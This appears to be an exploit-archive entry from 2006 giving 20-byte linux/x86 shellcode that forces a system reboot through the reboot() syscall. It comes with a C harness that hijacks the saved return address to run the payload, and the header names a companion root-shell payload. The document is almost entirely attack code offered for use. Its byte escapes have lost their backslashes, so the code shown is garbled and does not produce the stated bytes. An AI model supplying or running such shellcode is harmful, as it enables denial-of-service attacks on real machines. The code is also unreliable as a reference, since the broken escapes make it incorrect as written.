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# Title : linux/x86 reboot() - 20 bytes
# Published : 2006-01-21
# Author : izik
# Previous Title : linux/x86 setreuid(0, 0) + execve(/bin/sh) 31 bytes
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/*
 * (linux/x86) reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2, LINUX_REBOOT_CMD_RESTART) - 20 bytes
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"x6ax58"              // push $0x58 
	"x58"                  // pop %eax 
	"xbbxadxdexe1xfe"  // mov $0xfee1dead,%ebx 
	"xb9x69x19x12x28"  // mov $0x28121969,%ecx 
	"xbax67x45x23x01"  // mov $0x1234567,%edx 
	"xcdx80";             // int $0x80 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// www.Syue.com [2006-01-21]